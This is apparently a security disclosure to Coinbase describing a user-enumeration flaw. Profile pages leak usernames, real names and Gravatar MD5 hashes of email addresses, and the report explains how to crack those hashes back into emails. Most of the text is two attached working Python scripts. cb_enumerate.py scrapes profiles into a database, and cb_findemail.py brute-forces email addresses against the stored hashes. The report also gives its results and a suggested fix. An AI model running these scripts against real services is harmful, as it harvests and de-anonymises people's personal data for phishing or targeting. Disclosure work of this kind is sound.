Coinbase User Enumeration
=========================
The Coinbase web site allows user enumeration, which would normally not be a big deal, but in this case, we are able to enumerate a users username, "real name", and an MD5 hash of the user's email address. Using a large list of email addresses and a tool like hashcat it is possible to determine the email address for many of these users. Keep in mind that the real name is user specified and may not be the user's actual name. Many of the names I enumerated did appear to be the user's real name though.
Data Gathering
--------------
If you send a GET request to https://www.coinbase.com/<username> you will get either a 200 response if the username is valid or a 404 response if the username is not valid. If you get a 200 message the response will contain the user's real name and an MD5 hash of the user's email address. The MD5 hash is a part of the Gravatar link used to show the user's avatar. Coinbase calculates the Gravatar link and includes it for every user, whether they have a Gravatar account or not and whether or not they have chosen to associate a Gravatar account with their Coinbase account.
The following Python regular expressions can be used to gather the real name and the MD5 hash of the email address.
r'meta content="(.*?) is accepting'
r'/avatar/(.*?)\.png'
Attached is a Python script, cb_enumerate.py, that will take a word list, enumerate valid users, and store the enumerated username, real name, and email hash in a database.
Finding Email Addresses
-----------------------
To crack the MD5 hashes, I first generated a list of potential usernames using the enumerated usernames and various combinations of the real names. I generated a second set of usernames using a list of most popular first and last names. I then used the Alexa top 1000 domain names and a Python script to generate candidate email addresses. Finally, I used another Python script to calculate the MD5 hash for each candidate email address and update the database with the actual email address if the hash is present. This was a very slow process.
It would be better to use a tool like Hashcat or oclHashcat to do the email cracking for you and then take the list of matching email addresses generated by Hashcat and feed it to the cb_findemail.py script that is attached.
Results
-------
I was able to enumerate 2465 Coinbase accounts and was able to recover the email address for over 500 of those accounts.
Fixing The Problem
------------------
I don't think there is much you can do to fix the enumeration problem. You could rate limit enumeration attempts coming from a single IP address but an attacker could use multiple IP addresses to get around the rate limiting. The email address enumeration can definitely be prevented by not including the Gravatar link on an account unless the user specifically requests it.
Thanks,
AverageSecurityGuy
cb_findemail.py
import sqlite3
import sys
import hashlib
DB_FILE = 'cb_enum.db'
#
# Configure the database.
#
conn = sqlite3.connect(DB_FILE)
cur = conn.cursor()
def save_email(hash, email):
print hash, email
cur.execute('UPDATE users SET email=? WHERE emailhash=?', (email, hash))
conn.commit()
def check_hash(hash):
cur.execute('SELECT username FROM users WHERE emailhash=? AND email IS NULL', (hash,))
if cur.fetchone() is None:
return False
else:
return True
def main(user_file, domain_file):
count = 1
for user in open(user_file):
for dom in open(domain_file):
email = '{0}@{1}'.format(user.rstrip('\r\n'), dom.rstrip('\r\n'))
hash = hashlib.md5(email.lower()).hexdigest()
if check_hash(hash) is True:
save_email(hash, email)
if count % 1000 == 0: print count
count += 1
if __name__ == '__main__':
try:
if len(sys.argv) != 3:
print 'USAGE: cb_findemail.py usernames domain_names'
sys.exit(1)
main(sys.argv[1], sys.argv[2])
except KeyboardInterrupt:
pass
cb_enumerate.py
import requests
import sqlite3
import re
import sys
DB_FILE = 'cb_enum.db'
name_re = re.compile(r'meta content="(.*?) is accepting')
hash_re = re.compile(r'/avatar/(.*?)\.png')
#
# Configure the database.
#
conn = sqlite3.connect(DB_FILE)
cur = conn.cursor()
cur.execute("CREATE TABLE IF NOT EXISTS users (username text, realname text, emailhash text, email text)")
def save_user(user, name, hash):
print user, name, hash
name = unicode(name, 'utf-8')
cur.execute('INSERT INTO users VALUES (?, ?, ?, ?)', (user, name, hash, None))
conn.commit()
def get_user(user):
try:
resp = requests.get('https://www.coinbase.com/{0}'.format(user))
if resp.status_code != 404:
return resp.content
else:
return None
except requests.exceptions.RequestException as e:
print '{0} - {1}'.format(user, str(e))
return None
def main(filename):
count = 1
for line in open(filename):
user = line.rstrip('\r\n')
data = get_user(user)
if data is not None:
name = name_re.search(data)
hash = hash_re.search(data)
if name is not None:
save_user(user, name.group(1), hash.group(1))
if count % 100 == 0: print count
count += 1
if __name__ == '__main__':
try:
if len(sys.argv) != 2:
print 'USAGE: cb_enumerate.py usernames'
sys.exit(1)
main(sys.argv[1])
except KeyboardInterrupt:
pass